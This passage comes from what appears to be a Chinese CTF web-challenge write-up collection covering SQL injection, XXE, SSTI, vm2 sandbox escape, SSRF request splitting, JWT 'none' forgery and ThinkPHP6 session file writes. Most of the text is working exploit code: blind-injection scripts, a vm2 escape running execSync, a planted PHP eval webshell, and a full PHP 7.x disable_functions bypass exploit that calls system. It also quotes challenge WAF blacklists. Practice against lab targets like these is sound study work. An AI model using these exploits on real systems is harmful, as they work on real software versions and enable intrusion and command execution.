# payload = 'if((select(ord(substr(group_concat(column_name),{0},1)))from(information_schema.columns)where(table_name=(select(substr(group_concat(table_name),8,5))from(information_schema.tables)where(table_schema=database()))))={1},1,2)%23'.format(i,k)
payload = 'if((select(ord(substr(group_concat(username,password),{0},1)))from(users))={1},1,2)%23'.format(i,k)
re = requests.get(url=url+payload)
# print(url+payload)
print(j)
if '33333333333333333333333333333333333333333333333333' in re.text:
result = result + j
print(result)
break
if j == '~':
end=1
break
if end==1:
break

print(result)

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

题目是简简单单的文件包含,试了一下刚学到的pearcmd包含利用知识,伪协议读取发现存在,但关键点register_argc_argv没开

因此利用方法不在这里,同时也了解了文件被包含一次后不可被再次包含,也就是说做不到直接进行包含或者伪协议获取文件

知识点链接

这里是需要利用伪协议配合多级符号链接绕过:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

总的来说,伪协议是利用点的开端

[NCTF2019]True XML cookbook

输入账密发送,抓包,是一个xxe外部实体注入的知识点

构造一个外部实体,然后使用协议,使用一个file协议进行文件读取

]>

因为无法找到flag,尝试找一下内网

有一个内网探测工具arp-scan

可以尝试在目录下找到一个/proc/net/arp文件进行读取,得到一个10.0.63.2

使用http协议进行一个内网的访问,爆破最后一位找到一个存活内网ip,最后在http://10.0.63.6得到

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

php伪协议读源码,有openbasedir限制,ban了一些协议,读取其他文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// change.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

在change里面将address的值直接拼接到了sql语句中进行执行,但却仅仅使用了addslashes函数进行处理,联想到二次注入,结合文件读取函数load_file,直接发一个

user_name=1&phone=1&address=’||extractvalue(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,30))))#

然后修改输入信息,接着执行报错产生回显,结合字符串截取函数或者倒序函数即可获取flag

[NCTF2019]SQLi

在robots.txt得到信息,hint.txt

获取到部分源码

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

只要passwd的值是他想要的就行

给出了sql语句

1
sqlquery : select * from users where username='' and passwd=''

结合上面的waf,使用反斜杠转义username的第二个单引号,接着由passwd的第一个单引号进行闭合,后面的内容即可逃逸出来,最后加上分号闭合语句,使用%00截断后面的单引号

使用正则匹配语句regexp进行盲注

简单写个脚本,由于匹配成功会进行一个重定向Location: welcome.php,以该重定向标志作为匹配成功的依据,同时,避免爆的过快被拦,每隔五次进行一个延时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import re
import string
import time
from urllib.parse import unquote

url = 'http://36d907ab-4b2f-4ea0-9376-07cd9b42c952.node4.buuoj.cn:81'

str = '|' + string.ascii_lowercase + '{' + '}' + '_' + ',' + '-' + string.digits + '~' #+ string.ascii_uppercase

result = ''
end = 0

sleep=0

for i in range(1,200):
for j in str:
if sleep%5==0:
time.sleep(1)

data={
"username":"\\",
"passwd":"||passwd/**/regexp/**/\"^{}\";".format(result+j)+unquote("%00")
}
re = requests.post(url=url,data=data)
print(j)
if 'welcome' in re.text:
result = result + j
print(result)
break
if j == '~':
end=1
break
if end==1:
break

print(result)

注意regexp是大小写不敏感的

此处得到的密码为:

you_will_never_know7788990

username随意填一个,输入该密码,得到flag

[CISCN2019 华东南赛区]Double Secret

界面提示Welcome To Find Secret

访问/Secret

提示Tell me your secret.I will encrypt it so others can't see

意味着有加密

get传参,随便输入较长字符串之后出现flask的报错

查看报错发现信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
File "/app/app.py", line 35, in secret

if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)



a=render_template_string(safe(deS))



if 'ciscn' in a.lower():

return 'flag detected!'

return a

会使用RC4加密,密钥是:HereIsTreasure

1
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

使用lemon师傅的工具盒子加密一下,有些特殊字符,使用url编码一下,编码不太彻底,使用python脚本再编码一下:

1
2
3
4
5
6
from urllib.parse import unquote
from urllib.parse import quote

text=".%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF;%C2%88m%C2%AEM5%C2%96=%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS*%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H=%0A#%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92"
text = unquote(text)
print(quote(text,'utf-8'))

得到

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98%2F%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

[HFCTF2020]EasyLogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

[HFCTF2020]JustEscape

nodejs的沙箱逃逸
打开测试界面是一个伪造的php源码,实际上run.php只是一个路由,但eval函数确实存在,不过是nodejs的,使用Error().stack函数测试

/run.php?code=Error().stack

找个payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

改一下绕waf

1
2
3
4
5
6
7
8
9
10
11
(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

[GYCTF2020]Node Game

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<body>var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) =&gt; {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i &lt; arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
</body>

可以看到第一个路由/,接收get传输的action的值,如果没有则为index,可以上传一个马使其将flag包含出来

上传点在第二个路由file_uploadvar file_path = '/uploads/' + req.files[0].mimetype +"/";使得文件上传位置可控,但是会验证ip,使用的是var ip = req.connection.remoteAddress;,没法伪造,但第四个路由/core提供了ssrf点,构造一个payload进行一个文件的传

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse 
import requests

payload = ''' HTTP/1.1


POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="hua.pug"
Content-Type: ../template

doctype html
html
head
style
include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print('http://1d7cf3de-ec69-4466-90a9-7bef1919e14f.node4.buuoj.cn:81/core?q='+urllib.parse.quote(payload))
r = requests.get('http://1d7cf3de-ec69-4466-90a9-7bef1919e14f.node4.buuoj.cn:81/core?q='+urllib.parse.quote(payload))
print(r.text)
re = requests.get('http://1d7cf3de-ec69-4466-90a9-7bef1919e14f.node4.buuoj.cn:81/?action=hua')
print(re.text)

传输使用Content-Type: ../template,进行目录穿越,将文件传到/template文件夹下

避免下半部分的host单独出来报错,因此加了一个GET /flag HTTP/1.1请求,作为一个闭合

完事最后访问/?action=hua

pug文件内容包含应该算非预期

预期解应该是要绕过黑名单
出题人wp

[HFCTF2020]EasyLogin

祖传f12,然后查看一下文件,直接把app.js扔出来了,直接看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

直接注册,然后登录抓包,发现存在jwt,一开始以为又是爆破密钥,但搜到一篇jwt伪造攻击,于是冻手伪造,将头部改为:

1
2
3
4
{
"alg": "none",
"typ": "JWT"
}

然后将数据改为:

1
2
3
4
5
6
{
"secretid": [],
"username": "admin",
"password": "1",
"iat": 1648984724
}

加密之后使用点号连起来,特别注意文章中的一句:

在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码即把编码中的"=","+","/"等特殊符号删掉也是兼容的

1
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogIjEiLAogICJpYXQiOiAxNjQ4OTg0NzI0Cn0.

总之注意格式即可,最后访问api/flag即可获取flag

回过头来其实是有提示部分的,也就是最开始的注释:

1
2
3
4
/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

使用的koa框架,在简单的了解之后,得出我也不知道得出什么,总之在controllers文件夹下查找,会得到一个api.js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

[GYCTF2020]EasyThinking

直接访问/?s=1

tp6.0.0

源码泄露

www.zip

找到Member.php可以看到主页几个功能的逻辑,除了正常的注册登录之外还有一个搜索:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}

没什么利用函数,但可以看到这里开启了session,网上搜索一下tp6的session漏洞,可以找到文章:thinkphp6 任意文件创建漏洞复现

由于可以由用户上传消息头cookie的参数session的值,导致上传的文件名是可以任意修改的,甚至可以达到目录穿越的效果,只要文件名长度为32即可

于是简简单单注册登录,再使用搜索功能,打入一句话:

1
<?php @eval($_REQUEST['a']);?>

然后抓包修改cookie参数session的末四位为.php

然后根据漏洞讲解说的,框架的session文件存放在runtime文件夹下的session中,源码泄露得到的源码也能找到这么个文件夹,然后上传上去的名字也和平时上传的session文件一样sess_加上cookie的参数session的值

最后蚁剑连上去,可以看到根目录下有flag和readflag,但flag打开看不到东西,估计要执行readflag才行,在phpinfo页面发现命令执行函数都被ban了,顺带一提mail函数也被ban了,所以恶意so文件绕过disable_function也没戏

使用github的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}
?>

改名1.php,直接用蚁剑传上去,然后访问/runtime/session/1.php即可获取

[GYCTF2020]Easyphp

看了一下没什么攻击点,源码泄露www.zip

代码审计,在login.php看了一会儿没法攻击,虽然看到了lib.php里面有反序列化点,但没找到入口,在update.php里看到

1
2
$users=new User();
$users->update();

进入update方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
